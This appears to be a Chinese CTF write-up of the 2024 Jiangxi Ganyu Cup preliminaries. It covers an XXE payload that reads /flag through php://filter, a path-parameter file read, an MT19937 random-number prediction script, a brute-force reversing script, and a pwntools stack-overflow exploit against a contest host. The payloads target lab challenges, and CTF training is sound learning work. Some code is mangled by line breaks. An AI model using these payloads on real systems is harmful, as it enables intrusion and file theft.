前言:本文章同步csdn具体详情 可以查看~附件在后台
xxe
攻击,但是把http
和file
给限制了
我们可以用 php://filter/convert.base64-encode/resource=
代替
exp:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag">
]>
<root>
<code>&xxe;</code>
</root>
审计源码发现了文件读取的操作参数是 filepath
,
尝试读取一下 /flag
在将后缀改成.txt 即可
(docker):
先nc连接
先回答第一个问题,判断这个图片是啥样子的
(每个问题回答的时间只有 3 秒左右)
第二个问题,计算这个式子,这里没搓出脚本,尽量就一直换简单的就好了
第三个问题就行,扫描这个二维码,将结果发送过去就能出 flag (这里扫描二维码 Umi-OCR 建议 用这个工具,利用用他的快捷键很快的)
思路:FAS4-FILE
文件,fas
文件AutoCAD
生成的文件发现,第二段和第三段的长度被修改了,下面就是这两段的长度
第一段长度 42 ,就是 $ $ 之间的长度 42 个字节
第二段的长度179
,我现在选定的是181
个,按照文章中的解释,正确的是179
修改后利用fas2lsp.exe
进行解密就行,最后会flag_new.fas
这样的问题,就是解密好的
randomlist
一共有 992*20 bit
的数据,加上 g
是 128bit
足以恢复随机数,现在这里主要是要吧 random_num1
和 random_num2
分解出来,利用 random_list1
中 第一和第二数,进行剪枝就行,最后就是 预测随机数继续
from extend_mt19937_predictor import ExtendMT19937Predictor
import sys
sys.setrecursionlimit(3000)
p =
1120581942674038330587937841384734650495860392448102482802807934019409233165
9971578659503599126588900031674930460045161430767359455241476291142490544340
8316928558683295790689321410419835360057867452185892493159139274813682583491
6482680754410357899457798981976372429174927327566423743614342532936570159749
47167
g = 72230774446246819059070919230312241676
c =
2589857535181346734775636156128436585670542137362243434636514773436242734417
2178270972033652584772191691310056428210998037260870268908688869482615394132
0593433467992432959036972379895517231271720240935494843406173948219485832423
7338566044518816130169157924774463817272826287683592187655849918613726956004
0075
random_list1 =
[506580922139724979591451308953224153541810266384384135028588509182084592426
8184747393712704066864872817411880187138570682343431633457955483256879427452
6749413692919147135562164484977088114379379589379961122159420033486607755457
3935264817834931182087232695848764466419202460448413297390594065283129881706
4882948766270012275390175132095666103160877771192023394295841216195145461506
8759741503793371785972425641940058871404599254156516346484233713998203381912
3718494190348452701380739934003426203227664974251333254544703795704789320307
5544536859894680877963124739172891482242764504898102716242397187522857902572
172473057,
9995581513612467450567736355313584091721669267831516520871464587652127717900
9541555218693763972124093311337930953461092973753294192953068017272222852126
2505309360954770011446868226571312269820486672515799448547559231185199991806
0568919056879654790077386181152275652898289531834211157140505179639398553301
9048,
2495121487677588578827848599329893588310528056445250239233703263663759915301
2124690160176823135901955649626474466323234369704162147583514183518818815384
4693093912846198890125284268491849366026075401668829352062847371903565784020
1850548604620733324950596771111811342209013563604696081635970389396483718355
4677,
6373582243902763834793092638455548356677515538706606236070950057805228631854
9227634413593840351428383897197597833504918858528748411325897547213118869672
3289073604848104849732529261794238321787154137044004071246748518462132988612
9780420962819527728161715416542866091769423432679890158073608427362949408804
1757,
3907152931926414412251769336143859841888047075659332294169012902792320892826
8446297945914070664819020463177592618220307180768234539461404181356116373486
6916971983113581407645595713997014136310912582831522656995028355601220431919
0559520310716836116425091566556528174869182110381140990259989855703998495352
4691,
7144753884904355048923622785762050232366762472076549966107608094138854794310
3542951502823264827924311333873468900404093613988519325446916133886201150020
2338014931325783847404076518180284000485850146434383282948550456268034708834
1471231586877901186735776908411428438940251110527261235628730470340496231235
6807,
5296246663463713940050161952772275256858527665799341175460061612795197589069
6629030079415518920590190909513415890728071144013815559602709061123272832963
8029282282987245088887282379382594171534423733282031423421296945867715155297
5419441166245862191493404877451103216514236283081069501501373866408343822454
0399,
5742398152839893387346861686690079248289392201997910501157287789241775120535
2097080731004319485399203572234331087446085999452726980079355595117463787238
8888899936347603898232760154590828580449660711925700905887458810469543637138
1158887334969794728871751529517622322714646273252667988410878679283727195334
3027,
1262968982713643721951258634938204477564295582938783633560536034501788092139
9513253517516987894556161101676417680651542804093967066608252726310900829161
8582367947247888677161006826812339823083276551105316485498339383660306396912
6225890239825421329986309478767833037711490010784420032393155358766751726321
01049,
2584554697570644487760313208624603513931193282949437454396554911702088277773
2609060189122035537025423140092885905051843827762861249614751342952827818838
7768208574031072336105304135204217466858908724746992166947112711241585337473
8862438731569379815440403007284718660844319293375913172450889618554200120098
8449,
1187069517075735019828663268334609453537543781565017888645956829383242384150
2152078089218302563616465422087843854436887327371844678989003534424102758262
8498630520136834454861039969842961574108797045801403190746195905723134888537
4133303791805175520566043648433364280837027244329683895810289942270876760397
58001,
5400794287052320375064867757636008817323576364704261176836623453179894874489
8565376957945490859515847702440452116678494899152086517202643437114871908968
5472944360118331447117549026467427637558357726460502336194567750227340035085
8616967273704836409877170645490312138133920970312872210518019585154315816481
6147,
9642735681844004439662708737698798315948778899215854298596787912920106885611
6617904380333841107519375372335525244652671249996733545798021580060278195562
2636209462783895214095733216153487440872457621762077831349097443745095428090
2175734746687975934046815759679661603386550669176802139609270089277510874510
1799,
3032116887204327875894760112825337829895821506997807514683808082457874165390
5489303748132572792849445954011690569670531957868364648947486452787981618492
8325866185523786135042055198721100161902989708365723003113080141454499520018
4974862273976660016121239137456265911298470408955871490045692645786182915981
3859,
gift = random_list1[1]
def findp(p, q):
if len(p) == 1024:
pp = int(p, 2)
if n % pp == 0:
print(f"a1 = {pp}")
print(f"a2 = {n // pp}")
else:
l = len(p)
pp = int(p, 2)
qq = int(q, 2)
if (pp ^ qq) % (2 ** l) == gift % (2**l) and pp * qq % (2**l) == n %(2**l)
findp('1' + p,'1' + q)
findp('0' + p,'1' + q)
findp('1' + p,'0' + q)
findp('0' + p,'0' + q)
findp('1','1')
a1 =
1279543789059544739795995805435061337344709344029211875671263280449153991367
8361300459434789323124978678211386392987879956503839249218214828260830194764
3527866047185811106214065159313666530775740342170598378474744062316856449855
1212271179860375062122724725810975179096393562594730220261930565982797058833
12493
a2 =
3959074526961349451225107198347875750881428027288204959484902903254359490091
3069786771939178626302619505593605829896534613681707527396968070583148545044
0363063480142040004276870941618855588523153746848810116659555207872187135361
4542400791273074035389807540616186560701729412656895024705893409774103705944
1349
tmp = [a1,a2] + random_list1[2:]
D = []
for i in range(len(tmp)):
D.append(tmp[i] >> 32)
predictor = ExtendMT19937Predictor()
predictor.setrandbits(g,128)
for i in range(len(D)):
predictor.setrandbits(D[i],992)
for i in range(len(D)):
predictor.backtrack_getrandbits(992)
predictor.backtrack_getrandbits(128)
predictor.backtrack_getrandbits(32)
m = predictor.backtrack_getrandbits(128)
flag = b'Sangfor{'+str(m).encode()+b'}'
print(flag)
string
可以直接出,发现flag
就在.enc
里面
先ida64
打开,追踪主函数,分析一下加密过程,这个程序共分为4
个流程如下:
1.这里先判断了 flag 的格式,这里可以确定
flag格式为Sangfor{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
2.然后再检查flag
内容每四个字节必须要在一个chararray[0x10][5]
的数组中flag
每4
个字符 都是0x10
字符表中的字符。
3.然后通过’hsallhhasslalalh’
的判断形式,
实际将flag
的每一部分的数组内容进行分类
最后可以拼出flag为:'Sangfor{'+i+j+'-'+k+'-'+l+'-'+m+'-'+n+v+x+'}'
其中i、j、k
等分别对应a1、a2、a3
数组中的字符。直接写脚本爆破即可。
from pwn import *
a1 = ['f9a0','fc75','6875']
a2 = ["943d","1ab3","1a50","1e40"]
a3 = ["d19b","bd69","b1d8","b013","dea6"]
a4 = ["d19b","bd69","b1d8","b013","dea6"]
a5 = ["943d","1ab3","1a50","1e40"]
a6 = ["943d","1ab3","1a50","1e40"]
a7 = ["c690","366f","c239","c31e"]
a8 = ["c690","366f","c239","c31e"]
for i in a1:
for j in a2:
for k in a3:
for l in a4:
for m in a5:
for n in a6:
for v in a7:
for x in a8:
flag = 'Sangfor{'+i+j+'-'+k+'-'+l+'-'+m+'-'+n+v+x+'}'
p = process('./nanobot')
p.sendlineafter('ot~ :)n',flag)
if p.recv(0x100).find(b'Well done~')!=-1:
print(flag)
exit()
p.close()
先 checksec
一下程序,最终 mian
函数,调用了下面这个函数,传过来一个参数,这里调用了 get
() 函数。不好控制返回 地址,但是这里直接使用传参来进行 check
,那我们直接暴力覆盖栈上数值为这个16
进制 就行.
from pwn impor t *
p = remote("ctfx.edu.sangfor.com.cn",41886)
payload=p32(0x1295c8e5)*30
p.sendline(payload)
p.interactive()
点分享
点收藏
点在看
原文始发于微信公众号(鱼影安全):2024江西赣育杯初赛wp
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论